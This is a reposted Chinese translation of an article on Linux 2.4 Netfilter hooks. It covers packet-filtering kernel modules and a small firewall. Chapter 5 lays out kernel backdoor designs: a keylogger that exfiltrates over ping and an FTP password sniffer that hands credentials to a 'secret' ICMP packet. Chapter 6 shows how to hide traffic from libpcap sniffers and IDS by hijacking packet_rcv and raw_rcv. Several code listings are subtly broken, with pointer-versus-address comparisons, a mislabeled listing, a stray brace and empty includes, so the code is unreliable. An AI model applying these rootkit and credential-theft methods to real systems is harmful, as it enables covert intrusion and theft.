Chinaunix首页 | 论坛 | 博客
  • 博客访问: 533306
  • 博文数量: 103
  • 博客积分: 2024
  • 博客等级: 上尉
  • 技术积分: 1294
  • 用 户 组: 普通用户
  • 注册时间: 2010-01-08 21:17
文章分类

全部博文(103)

文章存档

2012年(2)

2011年(21)

2010年(80)

分类: LINUX

2011-05-22 18:31:36

深入Linux内核网络堆栈

作者:bioforge  
原名: <>
翻译,修改: duanjigang <>
翻译参考:raodan (raod_at_30san.com) 2003-08-22 

第一章  简介

本文将描述如何利用Linux网络堆栈的窍门(不一定都是漏洞)来达到一些目的,或者是恶意的,或者是出于其它意图的。文中会就后门通讯对Netfilter钩子进行讨论,并在本地机器上实现将这个传输从基于Libpcap的嗅探器(sniffer)中隐藏。
    Netfilter是2.4内核的一个子系统。Netfilter可以通过在内核的网络代码中使用各种钩子来实现数据包过滤,网络地址转换(NAT)和连接跟踪等网络欺骗。这些钩子被放置在内核代码段,或者静态编译进内核,或者作为一个可动态加载/卸载的可卸载模块,然后就可以注册称之为网络事件的函数(比如数据包的接收)。

1.1 本文论述的内容

本文将讲述内核模块的编写者如何利用Netfilter的钩子来达到任何目的,以及怎样将网络传输从一个Libpcap的应用中隐藏掉。尽管Linux2.4支持对IPV4,IPV6以及DECnet的钩子,本文只提及IPV4的钩子。但是,对IPV4的大多数应用内容同样也可以应用于其他协议。出于教学目的,我们在附录A给出了一个可以工作的内核模块,实现基本的数据包过滤功能。针对本文中所列技术的所有开发和试验都在Intel机子上的Linux2.4.5系统上进行过。对Netfilte 钩子行为的测试使用的是回环设备(Loopback device),以太网设备和一个点对点接口的调制解调器。
对Netfilter进行完全理解是我撰写本文的另一个初衷。我不能保证这篇文章所附的代码100%的没有差错,但是所列举的所有代码我都事先测试过了。我已经饱尝了内核错误带来的磨砺,而你却不必再经受这些。同样,我不会为按照这篇文档所说的任何东西进行的作所所为带来的损失而负责。阅读本篇文章的读者最好熟悉C程序设计语言,并且对内核可卸载模块有一定的经验。
如果我在文中犯了任何错误的话,请告知我。我对于你们的建议和针对此文的改进或者其它的Netfilter应用会倾心接受。

1.2 本文不会涉及到的方面

本文并不是Netfilter的完全贯穿(或者进进出出的讲解)。也不是iptables命令的介绍。如果你想更好的学习iptables的命令,可以去咨询man手册。
让我们从介绍Nerfilter的使用开始吧……….

第二章  各种NetFilter 钩子及其用法

2.1 Linux内核对数据包的处理

我将尽最大努力去分析内核处理数据包的详细内幕,然而对于事件触发处理以及之后的Netfilter 钩子不做介绍。原因很简单,因为Harald Welte 关于这个已经写了一篇再好不过的文章<>,如果你想获取更多关于Linux对数据包的相关处理知识的话,我强烈建议你也阅读一下这篇文章。目前,就认为数据包只是经过了Linux内核的网络堆栈,它穿过几层钩子,在经过这些钩子时,数据包被解析,保留或者丢弃。这就是所谓的Netfilter 钩子。

2.2 Ipv4中的Netfilter钩子

Netfilter为IPV4定义了5个钩子。可以在 linux/netfilter-ipv4.h里面找到这些符号的定义,表2.1列出了这些钩子。

表 2.1. ipv4中定义的钩子

CODE:
钩子名称                              调用时机  
NF_IP_PRE_ROUTING                完整性校验之后,路由决策之前
NF_IP_LOCAL_IN                         目的地为本机,路由决策之后
NF_IP_FORWARD                         数据包要到达另外一个接口去
NF_IP_LOCAL_OUT                        本地进程的数据,发送出去的过程中
NF_IP_POST_ROUTING        向外流出的数据上线之前
NF_IP_PRE_ROUTING 钩子称为是数据包接收后第一个调用的钩子程序,这个钩子在我们后面提到的模块当中将会被用到。其他的钩子也很重要,但是目前我们只集中探讨NF_IP_PRE_ROUTING这个钩子。
不管钩子函数对数据包做了哪些处理,它都必须返回表2.2中的一个预定义好的Netfilter返回码。
表2.2 Netfilter 返回码

CODE:
返回码                  含义
NF_DROP              丢弃这个数据包
NF_ACCEPT        保留这个数据包
NF_STOLEN        忘掉这个数据包
NF_QUEUE        让这个数据包在用户空间排队
NF_REPEAT        再次调用这个钩子函数
NF_DROP 表示要丢弃这个数据包,并且为这个数据包申请的所有资源都要得到释放。NF_ACCEPT告诉Netfilter到目前为止,这个数据包仍然可以被接受,应该将它移到网络堆栈的下一层。NF_STOLEN是非常有趣的一个返回码,它告诉Netfilter让其忘掉这个数据包。也就是说钩子函数会在这里对这个数据包进行完全的处理,而Netfilter就应该放弃任何对它的处理了。然而这并不意味着为该数据包申请的所有资源都要释放掉。这个数据包和它各自的sk_buff结构体依然有效,只是钩子函数从Netfilter夺取了对这个数据包的掌控权。不幸的是,我对于NF_QUEUE这个返回码的真实作用还不是很清楚,所在目前不对它进行讨论。最后一个返回值NF_REPEAT请求Netfilter再次调用这个钩子函数,很明显,你应该慎重的应用这个返回值,以免程序陷入死循环。

第三章  注册和注销NetFilter 钩子

注册一个钩子函数是一个围绕nf_hook_ops结构体的很简单的过程,在linux/netfilter.h中有这个结构体的定义,定义如下:

CODE:
struct nf_hook_ops 
{
                  struct list_head list;

                  /* User fills in from here down. */
                  nf_hookfn *hook;
                  int pf;
                  int hooknum;
                  /* Hooks are ordered in ascending priority. */
                  int priority;
};
这个结构体的成员列表主要是用来维护注册的钩子函数列表的,对于用户来说,在注册时并没有多么重要。hook是指向nf_hookfn函数的指针。也就是为这个钩子将要调用的所有函数。nf_hookfn同样定义在linux/netfilter.h这个文件中。pf字段指定了协议簇(protocol family)。Linux/socket.h中定义了可用的协议簇。但是对于IPV4我们只使用PF_INET。hooknum 域指名了为哪个特殊的钩子安装这个函数,也就是表2.1中所列出的条目中的一个。Priority域表示在运行时这个钩子函数执行的顺序。为了演示例子模块,我们选择NF_IP_PRI_FIRST这个优先级。
   注册一个Netfilter钩子要用到nf_hook_ops这个结构体和nf_register_hook()函数。nf_register_hook()函数以一个nf_hook_ops结构体的地址作为参数,返回一个整型值。如果你阅读了net/core/netfilter.c中nf_register_钩子()的源代码的话,你就会发现这个函数只返回了一个0。下面这个例子注册了一个丢弃所有进入的数据包的函数。这段代码同时会向你演示Netfilter的返回值是如何被解析的。

代码列表1. Netfilter钩子的注册

CODE:
/* Sample code to install a Netfilter hook function that will
* drop all incoming packets. */
#define __KERNEL__
#define MODULE
#include
#include
#include
#include

/* This is the structure we shall use to register our function */

static struct nf_hook_ops nfho;

/* This is the hook function itself */

unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{

return NF_DROP;           /* Drop ALL packets */
}

/* Initialisation routine */
int init_module()
{

/* Fill in our hook structure */
nfho.hook = hook_func;         /* Handler function */
nfho.hooknum  = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
nfho.pf       = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;   /* Make our function first */
nf_register_hook(&nfho);
return 0;
}

/* Cleanup routine */
void cleanup_module()
{
nf_unregister_hook(&nfho);
}
这就是注册所要做的一切。从代码列表1你可以看到注销一个Netfilter钩子也是很简单的一件事情,只需要调用nf_unregister_hook()函数,并将注册时用到的结构体地址再次作为注销函数参数使用就可以了。
第四章  基本的NetFilter数据包过滤技术
4.1 钩子函数近距离接触
现在是我们来查看获得的数据如何传入钩子函数并被用来进行过滤决策的时候了。所以,我们需要更多的关注于nf_hookfn函数的模型。Linux/netfilter.h给出了如下的接口定义:

CODE:
typedef unsigned int nf_hookfn(unsigned int hooknum,
                              struct sk_buff **skb,
                              const struct net_device *in,
                              const struct net_device *out,
                              int (*okfn)(struct sk_buff *));
nf_hookfn函数的第一个参数指定了表2.1给出的钩子类型中的一种。第二个参数更有趣,它是一个指向指针(这个指针指向一个sk_buff类型的结构体)的指针,它是网络堆栈用来描述数据包的结构体。这个结构体定义在linux/skbuff.h中,由于这个结构体的定义很大,这里我只着重于它当中更有趣的一些域。
或许sk_buff结构体中最有用的域就是其中的三个联合了,这三个联合描述了传输层的头信息(例如 UDP,TCP,ICMP,SPX),网络层的头信息(例如ipv4/6, IPX, RAW)和链路层的头信息(Ethernet 或者RAW)。三个联合相应的名字分别为:h,nh和mac。根据特定数据包使用的不同协议,这些联合包含了不同的结构体。应当注意,传输层的头和网络层的头极有可能在内存中指向相同的内存单元。在TCP数据包中也是这样的情况,h和nh都是指向IP头结构体的指针。这就意味着,如果认为h->th指向TCP头,从而想通过h->th来获取一个值的话,将会导致错误发生。因为h->th实际指向IP头,等同于nh->iph。
其他比较有趣的域就是len域和data域了。len表示包中从data开始的数据总长度。因此,现在我们就知道如何通过一个skbuff结构体去访问单个的协议头或者数据包本身的数据。还有什么有趣的数据位对于Netfilter的钩子函数而言是有用的呢?
跟在sk_buff之后的两个参数都是指向net_device结构体的指针。net_devices结构体是Linux内核用来描述各种网络接口的。第一个结构体,in,代表了数据包将要到达的接口,当然 out就代表了数据包将要离开的接口。有很重要的一点必须认识到,那就是通常情况下这两个参数最多只提供一个。 例如,in通常情况下只会被提供给NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN钩子。out通常只被提供给NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING钩子。在这个阶段,我没有测试他们中的那个对于NF_IP_FORWARD是可用的。如果你能在废弃之前确认它们(in和out)不空的话,那么你很优秀。
最后,传给钩子函数的最后一个参数是一个名为okfn的指向函数的指针,这个函数有一个sk_buff的结构体作为参数,返回一个整型值。我也不能确定这个函数做什么,在net/core/netfilter.c中有两处对此函数的调用。这两处调用就是在函数nf_hook_slow()和函数nf_reinject()里,在这两个调用处当Netfilter钩子的返回值为NF_ACCEPT时,此函数被调用。如果有谁知道关于okfn更详细的信息,请告诉我。
现在我们已经对Netfilter接收到的数据中最有趣和最有用的部分进行了分析,下面就要开始介绍如何利用这些信息对数据包进行各种各样的过滤。

4.2 基于接口的过滤
这将是我们能做的最简单的过滤技术。是否还记得我们的钩子函数接收到的net_device结构体?利用net_device结构体中的name键值,我们可以根据数据包的目的接口名或者源接口名来丢弃这些数据包。为了抛弃所有发向”eth0”的数据,我们只需要比较一下“in->name”和“eth0”,如果匹配的话,钩子函数返回NF_DROP,然后这个数据包就被销毁了。它就是这样的简单。列表2给出了示例代码。请注意轻量级防火墙(LWFW)会使用到这里提到的所有过滤方法。LWFW同时还包含了一个IOCTL方法来动态改变自身的行为。

列表2. 基于源接口(网卡名)的数据过滤技术

CODE:
/* Sample code to install a Netfilter hook function that will
          * drop all incoming packets from an IP address we specify */

          #define __KERNEL__
          #define MODULE

          #include
          #include
          #include
          #include                   /* For IP header */
          #include
          #include

          /* This is the structure we shall use to register our function */
          static struct nf_hook_ops nfho;

          /* IP address we want to drop packets from, in NB order */
          static unsigned char *drop_ip = "\x7f\x00\x00\x01";

          /* This is the hook function itself */
          unsigned int hook_func(unsigned int hook_num,
                                 struct sk_buff **skb,
                                 const struct net_device *in,
                                 const struct net_device *out,
                                 int (*okfn)(struct sk_buff *))
          {
              struct sk_buff *sb = *skb;

              if (sb->nh.iph->saddr == drop_ip) {
                  printk("Dropped packet from... %d.%d.%d.%d\n",
                            *drop_ip, *(drop_ip + 1),
                          *(drop_ip + 2), *(drop_ip + 3));
                  return NF_DROP;
              } else {
                  return NF_ACCEPT;
              }
          }

          /* Initialisation routine */
          int init_module()
          {
              /* Fill in our hook structure */
              nfho.hook     = hook_func;
              /* Handler function */
              nfho.hook_num  = NF_IP_PRE_ROUTING; /* First for IPv4 */
              nfho.pf       = PF_INET;
              nfho.priority = NF_IP_PRI_FIRST;   /* Make our func first */
          
              nf_register_hook(&nfho);

              return 0;
          }
          
             /* Cleanup routine */
          void cleanup_module()
          {
              nf_unregister_hook(&nfho);
          }
现在看看,是不是很简单?下面让我们看看基于IP地址的过滤技术。
4.3 基于IP地址的过滤
类似基于接口的数据包过滤技术,基于源/目的IP地址的数据包过滤技术也很简单。这次我们对sk_buff结构体比较感兴趣。现在应该记起来,Skb参数是一个指向sk_buff结构体的指针的指针。为了避免运行时出现错误,通常有一个好的习惯就是另外声明一个指针指向sk_buff结构体的指针,把它赋值为双重指针所指向的内容,像这样:

CODE:
struct sk_buff *sb = *skb;    /* Remove 1 level of indirection* /
然后你只需要引用一次就可以访问结构体中的成员了。可以使用sk_buff结构体中的网络层头信息来获取此数据包的IP头信息。这个头包含在一个联合中,可以通过sk_buff->nh.iph来获取。列表3的函数演示了当给定一个数据包的sk_buff结构时,如何根据给定的要拒绝的IP对这个数据包进行源IP地址的检验。这段代码是直接从LWFW中拉出来的。唯一的不同之处就是LWFW中对LWFW统计量的更新被去掉了。
列表3.检测接收到数据包的源IP地址

CODE:
unsigned char *deny_ip = "\x7f\x00\x00\x01";  /* 127.0.0.1 */

          ...
          static int check_ip_packet(struct sk_buff *skb)
          {
              /* We don't want any NULL pointers in the chain to
               * the IP header. */
              if (!skb )return NF_ACCEPT;
              if (!(skb->nh.iph)) return NF_ACCEPT;
              if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) 

                    return NF_DROP;
               }
               return NF_ACCEPT;
          }
如果源IP地址与我们想抛弃数据包的IP地址匹配的话,数据包就会被丢弃。为了使函数能正常工作,deny_ip的值应该以网络字节序的方式存储(与intel相反的Big-endian格式)。尽管这个函数在被调用的时候有一个空指针作参数这种情况不太可能,但是稍微偏执(小心)一点总不会有什么坏处。当然,如果调用时出现了差错的话,函数将会返回一个NF_ACCEPT值,以便于Netfilter能够继续处理这个数据包。列表4 展现了一个简单的基于IP地址的数据包过滤的模块,这个模块是由基于接口的过滤模块修改得到的。你可以修改IP地址来实现对指定IP地址发来的数据包的丢弃。

列表4. 基于数据包源IP地址的过滤技术

CODE:
/* Sample code to install a Netfilter hook function that will
          * drop all incoming packets from an IP address we specify */

          #define __KERNEL__
#define MODULE
#include
          #include
          #include
          #include                   /* For IP header */
          #include
          #include

          /* This is the structure we shall use to register our function */
          static struct nf_hook_ops nfho;

          /* IP address we want to drop packets from, in NB order */
          static unsigned char *drop_ip = "\x7f\x00\x00\x01";

          /* This is the hook function itself */
          unsigned int hook_func(unsigned int hooknum,
                                 struct sk_buff **skb,
                                 const struct net_device *in,
                                 const struct net_device *out,
                                 int (*okfn)(struct sk_buff *))
          {
              struct sk_buff *sb = *skb;

              if (sb->nh.iph->saddr == drop_ip) {
                  printk("Dropped packet from... %d.%d.%d.%d\n",
                            *drop_ip, *(drop_ip + 1),
                          *(drop_ip + 2), *(drop_ip + 3));
                  return NF_DROP;
              } else {
                  return NF_ACCEPT;
              }
          }

          /* Initialisation routine */
          int init_module()
          {
              /* Fill in our hook structure */
              nfho.hook     = hook_func;
              /* Handler function */
              nfho.hooknum  = NF_IP_PRE_ROUTING; /* First for IPv4 */
              nfho.pf       = PF_INET;
              nfho.priority = NF_IP_PRI_FIRST;   /* Make our func first */
              nf_register_hook(&nfho);
              return 0;
          }
              /* Cleanup routine */
          void cleanup_module()
          {
              nf_unregister_hook(&nfho);
          }
4.4 基于TCP端口的过滤
另外一个要执行的简单的规则就是基于TCP目的端口的数据包过滤。这比检验IP地址稍微复杂一点,因为我们要自己创建一个指向TCP头的指针。还记得前面关于传输层头和网络层头所做的讨论吗?获得一个TCP头指针很简单,只需要申请一个指向tcphdr(定义在linux/tcp.h中)结构体的指针,并将它指向包数据中的IP头后面。或许一个例子就可以了。列表5展示了怎样检测一个数据包的TCP目的端口与我们想丢弃数据的指定端口是否一致。与列表3一样,这段代码也是从LWFW中拿出来的
列表5. 检测接收到数据包的TCP目的端口

CODE:
unsigned char *deny_port = "\x00\x19";   /* port 25 */
          ...
          static int check_tcp_packet(struct sk_buff *skb)
          {
              struct tcphdr *thead;
              /* We don't want any NULL pointers in the chain
               * to the IP header. */
              if (!skb ) return NF_ACCEPT;
              if (!(skb->nh.iph)) return NF_ACCEPT;
              /* Be sure this is a TCP packet first */
              if (skb->nh.iph->protocol != IPPROTO_TCP) {
                  return NF_ACCEPT;
              }
              thead = (struct tcphdr *)(skb->data  + (skb->nh.iph->ihl * 4));
              /* Now check the destination port */
              if ((thead->dest) == *(unsigned short *)deny_port) {
                  return NF_DROP;
              }    
              return NF_ACCEPT;
          }
世纪上非常简单。不要忘了deny_port是网络字节序时,这个函数才能工作。数据包过滤技术的基础就是:对于一个特定的数据包,你必须对怎样到达你想要的信息段的方法非常了解。下面,我们将进入更有趣的世界。

第五章  NetFilter钩子其他可能的用法

在这里我将会就Netfilter在其它方面的更有趣的应用给你作一些建议。在5.1我会给你提供一些思想源泉。5.2节将会讨论并提供能运行的代码,这个代码使一个基于内核的FTP密码嗅探器,能够远程获取密码。事实上,它运行的很好以至于我有些惊恐,所以将它写了出来。

5.1 隐藏后门守护进程

内核模块编程实际上是Linux开发最有意思的领域之一。在内核中写代码意味着你在一个只被你的想象力限制的地方写代码。从恶意一点的观点来思考,你可以隐藏一个文件,一个进程,或者说你能做任何rootkit能实现的很酷的事情。或者说从不太恶意(有这种观点的人)的观点来说,你可以隐藏文件,进程,和各种各样很酷的动作,内核真正是一个很迷人的地方。
        拥有一个内核级的程序员所具有的所有能力,许多事情都是可能的。或许最有趣(对于系统管理员来说这可是很恐怖的事情)的一件事情就是在内核植入一个后门程序。毕竟,当一个后门没有作为进程而运行的时候,你怎么会知道它在运行?当然肯定存在一些可以使你的内核能够嗅到这些后门的方法,但是这些方法却绝不会象运行PS命令那样的简单。将后门代码植入内核中并不是一个很新的话题。我这里要讲的,却是利用(你能够猜到的)Netfilter钩子植入简单的网络服务,将之作为内核后门。
如果你有必要的技能并且愿意承担在做实验时将你的内核导致崩溃的风险的话,你可以构造一个简单而有用的网络服务,将能够完全的装入内核并能进行远程访问。基本上说,Netfilter可以从所有接收到的数据包中查找指定的“神秘”数据包,当这个神秘的数据包被接收到的时候,可以进行一些特殊的处理。结果可以通过Netfilter钩子函数发送出去,Netfilter钩子函数然后返回一个NF_STOLEN结果以便这个神秘的数据包不会被继续传递下去。但是必须注意一点,以这样的方式来发送输出数据的时候,向外发送的数据包对于输出Netfilter钩子函数仍然是可见的。因此对于用户空间来说,完全看不到这个“神秘”数据包曾经来过,但是他们却能够看到你发送出来的数据。你必须留意,泄密主机上的Sniffer程序不能发现这个数据包并不意味着中间的宿主机上的嗅探器(sniffer)也不能发现这个数据包。
Kossak和lifeline曾为Phrack杂志写过一篇精彩的文章,文中描述了如何通过注册数据包类型处理器的方法来坐这些事情。虽然这片文章是关于Netfilter钩子的,我还是强烈建议你阅读一下那片文章(Issue 55, file 12),这片文章非常有趣,向你展示了很多有趣的思想。
那么,后门的Netfilter钩子到底能做哪种工作呢?好的,下面给出一些建议:
-------远程访问的击键记录器。模块会记录键盘的点击并在远程客户机发送一个Ping包的时候,将结果发送给客户机。因此,一连串的击键记录信息流会被伪装成稳定的Ping包返回流发送回来。你也可以进行简单的加密以便按键的ASC 值不会马上暴露出来,一些警觉的系统管理员回想:“坚持,我以前都是通过SSH会话来键入这些的,Oh $%@T%&!”
--------简单的管理任务,例如获取机器当前的登录用户列表,或者获取打开的网络连接信息。
--------一个并非真正的后门,而是位于网络边界的模块,并且阻挡任何被疑为来自特洛伊木马、ICMP隐蔽通道或者像KaZaa这样的文件共享工具的通信。
--------文件传输服务器。我最近已经实现了这个想法。最终得到的Linux内核模块会给你带来数小时的愉悦。
--------数据包跳跃。将发送到装有后门程序主机的特定端口的数据重新定向到另外一个IP主机的不同端口。并且将这个客户端发送的数据包返回给发起者。没有创建进程,最妙的是,没有打开网络套接字。
--------利用上面说到的数据包跳跃技术已以一种半传输的方式实现与网络上关键系统的交互。例如配置路由等。
--------FTP/POP3/Telnet的密码嗅探器。嗅探向外发送的密码并保存起来,直到神秘数据包到来所要这些信息的时候,就将它发送出去。
好了,上面是一些简单的思想列表。最后一个想法将会在下一节中进行详细的介绍,因为这一节为读者提供了一个很好的机会,使得我们能够接触更多的内核内部的网段络代码。

5.2 基于内核的FTP密码获取Sniffer

针对前面谈到的概念,这里给出了一个例证—一个后门Netfilter程序。这个模块嗅探流向服务器的外出的FTP数据包,寻找USER和PASSWD命令对,当获取到一对用户名和密码时,模块就会等待一个神秘的并且有足够大空间能存储用户名和密码的ICMP包(Ping包)的到来,收到这个包后,模块会将用户名和密码返回。很快的发送一个神秘的数据包,获取回复并且打印信息。一旦一对用户名和密码从模块中读走都,模块便会开始下一对数据的嗅探。注意模块平时最多能存储一对信息。已经大致介绍过了,我们现在对模块具体怎样工作进行详尽的讲解。当模块被加载的时候,init_module()函数简单的注册两个Netfilter钩子。第一个钩子负责从进入的数据包(在NF_IP_PRE_ROUTING时机调用)中寻找神秘的ICMP数据包。另外一个负责监视离开(在NF_IP_POST_ROUTING时调用)安装本模块的机器的数据包。在这里寻找和俘获FTP的登录用户名和密码,cleanup_module()负责注销这两个钩子。
        watch_out()函数是在NF_IP_POST_ROUTING时调用的钩子函数。看一下这个函数你就会发现它的动作很简单。当一个数据包进入的时候,它会被经过多重的检测以便确认这个数据包是否是一个FTP数据包。如果不是一个FTP数据包,将会立即返回一个NF_ACCEPT。如果是一个FTP数据包,模块会确认是否已经获取并存储了一对用户名和密码。如果已经存储了的话(这时 have_pari变量的值非零),那么就会返回一个NF_ACCPET值,并且数据包最终可以离开这个系统。否则的话,check_ftp()方法将会被调用。通常在这里密码被提取出来,如果以前没有接收到数据包的话,target_ip和target_port这两个变量将会被清空。
        Check_ftp()一开始在数据段的开头寻找“USER”,“PASS”或者“QUIT”字段。注意,在没有“USER”字段被处理之前通常不处理“PASS”字段。这是为了防止在收到密码后连接断开,而这时没有获取到用户名,就会陷入锁中。同样,当收到一个“QUIT”字段时,如果这时只有一个“USER”字段的话,就将所有变量复位,以便于Sniffer能继续对新的连接进行嗅探。当“PASS”或者“USER”命令被收到时,在必要的完整性校验之后,命令的参数会被拷贝下来。通常操作中都是在check_ftp()函数结束之前,检验有无用户名和密码者两个命令字段。如果有的话,have_pair会被设置,并且在这对数据被取走之前不会再次获取新的用户名和密码。
        到目前为止你已经知道了这个模块怎样安装自己并且查找用户名和密码并记录下来。下面你将会看到“神秘”数据包到来时会发生什么。在这块儿要特别留意,因为开发中的大多数问题会在此处出现。如果没有记错的话,我在这里遇到了16个内核错误。当数据到达安装此模块的机器时,watch_in()将会检查每一个数据包看他是否是一个神秘的数据包。如果数据包没有满足被判定为神秘数据包的条件的话,watch_in()会简单的返回一个NF_ACCEPT来忽略这个数据包。注意,神秘数据包的判定标准就是这个数据包有足够的空间能够容纳IP地址,用户名和密码这些字符串。这样做是为了使得数据的回复更容易些。可能需要申请一个新的sk_buff结构体。但是要保证所有的数据域都正确却是件不容易的事情,所以你必须想办法确保这些域的键值正确无误。因此,我们在此并不创建一个新的结构体,而是直接修改请求数据包的结构,将其作为一个返回数据包。为了能正确返回,需要做几个修改。首先,IP地址进行交换,结构体(sk_buff)中的数据包类型这个域的值要改为“PACKET_OUTGOING”,这个在linux/if_packet.h中定义了。第二步要确保每个链路层信息已经被包含在其中。我们接收到数据包的数据域就是链路层头信息后面的指向sk_buff结构体的指针,并且指向数据包中数据开头的指针传递了数据域。所以,对于需要链路层头信息的接口(以太网卡,回环设备和点对点设备的原始套结字)而言,我们的数据域指向mac.ethernet或者mac.raw结构。你可以通过检测sb->dev->type的值(sb是指向sk_buff结构体的指针)的值来判断这个数据包进入了什么类型的接口。你可以在linux/ip_arp.h中找到这些有效的值。最有用的都在表三列了出来。

表三.常见接口(网卡)类型

CODE:
类型码        接口类型
ARPHRD_ETHER        以太网卡
ARPHRD_LOOPBACK        回环设备
ARPHRD_PPP        点对点设备
要做的最后一件事就是把我们要发送的数据包拷贝到返回的消息里面去,然后就该发送数据包了。函数dev_queue_xmit()使用一个指向sk_buff结构体的指针作为唯一的参数,在发送明显失败时返回一个负的错误码(一个负值)。这里“明显”的失败指什么呢?这样的,如果你给这个函数一个构造的坏的套接字缓冲,你并不会得到一个明显的失败。当出现内核错误或者内核栈溢出时就产生了一个明显的失败。这下知道错误怎样被划分为两类了吧?最后watch_in()返回一个NF_STOLEN告诉Netfilter让它忘记曾经看几过这个数据包。在调用dev_queue_xmit()时不要返回NF_DROP!如果你这样做了,你很快会得到一个肮脏的内核错误。因为dev_queue_xmit()会释放掉传递进去的套接字缓冲区,而Netfilter却会尝试去对已经释放掉的数据包做相同的事情。好了,代码的讨论已经足够了,现在是看代码的时候了。
5.2.1 nsniffer 的代码
代码超过发贴上限,见附件
5.2.2 getpass.c 代码
代码超过发贴上限,见附件

第六章  在Libpcap中隐藏网络通讯

6.1 SOCK_PACKET, SOCK_RAW 和Libpcap

系统管理员经常用到的一些软件可“数据包嗅探器”这个标题进行分类。最普通的用于一般目的的数据包嗅探器有
Tcpdump(1)和Ethreal(1)。这两个应用都是利用了libpcap这个库来获取原始套结字的数据包。网络入侵检测系统(NetWork Intrusion Detection System NIDS)也利用了libpcap这个库。SNORT也需要libpcap, Libnids----一个提供IP重组和TCP流跟踪的NIDS开发库(参见参考文献[2]),也是如此。
在一台Linux系统上,libpcap利用SOCK_PACKET接口。Packet套结字是一种能够在链路层接收和发送数据包的特殊套结字。关于packet套结字和它的用途可以说一大堆东西,但是本文是从它们当中隐藏而不是讲述如何利用它们的。感兴趣的读者可以从packet(7)的man手册中了解到更详细的信息。在此处。我们只需要知道packet套结字能够被libpcap用来从机器上的原始套结字中获取进入的和发送的数据。
当内核的网络堆栈收到一个数据包时,要对其进行一定的校验以便确定是否有packet套结字对它感兴趣。如果有的话,这个数据包就被分发给对它感兴趣的套结字。如果没有的话,这个数据包继续流向TCP层,UDP层,或者其它的真正目的地。对于SOCKET_RAW型的套结字也是这样的情形。SOCKET_RAW非常类似于SOCKET_PACKET型的套结字,区别就在于SOCKET_RAW不提供链路层的头信息。我在附录[3]中的SYNalert就是SOCKET_RAW利用的一个例子。
现在你应该知道Linux系统上的数据包嗅探软件都是利用libpcap库了吧。Libpcap在Linux上利用PACKET_SOCKET接口从链路层获取原始套结字数据包。原始套结字可以在用户空间被用来从IP头中获取所有的数据包。下一段将会讲述一个Linux内核模块(LKM)怎样从数据包中或者SOCKET_RAW套结字接口中隐藏一个网络传输。

6.2 给狼披上羊皮
(这个译法借鉴于参考译文)

当一个数据包被接收到并发送给一个packet套结字时,packet_rcv()函数会被调用。可以在net/packet/af_packet.c中找到这个函数的源代码。packet_rcv()负责使数据通过所有可能应用于数据目的地的Netfilter,最终将数据投递到用户空间。为了从PACKET中隐藏数据包,我们需要设法让packet_rcv()对于一些特定的数据包一点也不调用。我们怎样实现这个?当然是优秀的ol式的函数劫持了。
函数劫持的基本操作是:如果我们知道一个内核函数,甚至是那些没有被导出的函数的入口地址,我们可以在实际的代码运行前将这个函数重定位到其他的位置。为了达到这样的目的,我们首先要从这个函数的开始,保存其原来的指令字节,然后将它们换成跳转到我们的代码处执行的绝对跳转指令。例如以i386汇编语言实现该操作如下:

CODE:
movl  (address of our function),  %eax
        jmp   *eax
这些指令产生的16进制代码如下(假设函数地址为0):

CODE:
0xb8 0x00 0x00 0x00 0x00
    0xff 0xe0
如果我们在Linux核心模块的初始化时将上例中的函数地址替换为我们的钩子函数的地址,就可以使我们的钩子函数先运行。当我们想运行原来的函数时,只需要在开始时恢复函数原来的指令,调用该函数并且替换我们的劫持代码。简单而有效。Silvio Cesare 不久前写过一篇文章,讲述如何实现内核函数劫持,参见参考文献[4]。
要从packet套接字隐藏数据包,我们首先要写一个钩子函数,用来检查这个数据包是否满足被隐藏的标准。如果满足,钩子函数简单的向它的调用者返回一个0,这样packet_rcv()函数也就不会被调用。如果packet_rcv()函数不被调用,那么这个数据包就不会递交给用户空间的packet套接字。注意,只是对于"packet"套接字来说,该数据包被丢弃了。如果我们要过滤送到packet套接字的FTP数据包,那么FTP服务器的TCP套接字仍然能收到这些数据包。我们所做的一切只是使运行在本机上的嗅探软件无法看到这些数据包。FTP服务器仍然能够处理和记录连接。
    
    理论上大致就这么多了,关于原始套接字的用法同理可得。不同的是我们需要钩子的是raw_rcv()函数(在net/ipv4/raw.c中可以找到)。下一节将给出并讨论一个Linux核心模块的示例代码,该代码劫持packet_rcv()函数和raw_rcv()函数,隐藏任何来自或去往指定的IP地址的数据包。
第七章  结束语
希望到现在为止,你对于什么是Netfilter,怎样使用Netfilter,可以对Netfilter做些什么已经有了一个基本的了解。你应该也具有了在本地机器上将一些特定的网络传输从运行在这些机器上的嗅探型软件中隐藏的知识了。如果你想要关于这方面的压缩包的话,可以直接给我发送E-mail邮件。我会为你做的任何修改,注释和建议而感激。现在,我就把这些有趣的东西留给你,你可以自由发挥自己的想象力。

附录A 轻量级防火墙
A.1 纵览
轻量级防火墙(Light weight fire wall ,LWFW)是一个简单的内核模块,它演示了第四章介绍的基本的数据包过滤技术。LWFW并通过系统调用ioctl提供了一个控制接口。
由于LWFW已经有了足够多的文档,所以我在此只就它怎么工作进行简单的概述。当LWFW模块被安装时,第一个任务就是尝试去注册一个控制设备。注意,在针对于LWFW的ioctl接口能够使用之前,需要在/dev目录下建立一个字符设备文件,如果这个控制设备注册成功的话,“in use”标识符将被清空,为NF_IP_PRE_ROUTE注册的钩子函数也就注册上了。clean_up函数做一些与此过程相反的事情。
LWFW提供了三个丢弃数据包的判定条件,它们按照处理的顺序依次是:
-----源接口(网卡名,如“eth0”,“eth0:1”等)
------源IP地址(如“10.0.1.4”,“192.168.1.1”等)
------目的TCP端口号(如ssh常用的22,FTP常用的19)
这些规则的具体设定是通过ioctl接口来实现的。当一个数据包到来时,LWFW会根据设定好的规则对这些数据包进行检测。如果某个数据包符合其中的任何一个规则,那么钩子函数将返回一个NF_DROP结果,从而Netfilter就会默默地丢弃这个数据包。负责的话,钩子函数会返回一个NF_ACCEPT结果,这个数据包就会继续它的旅途。
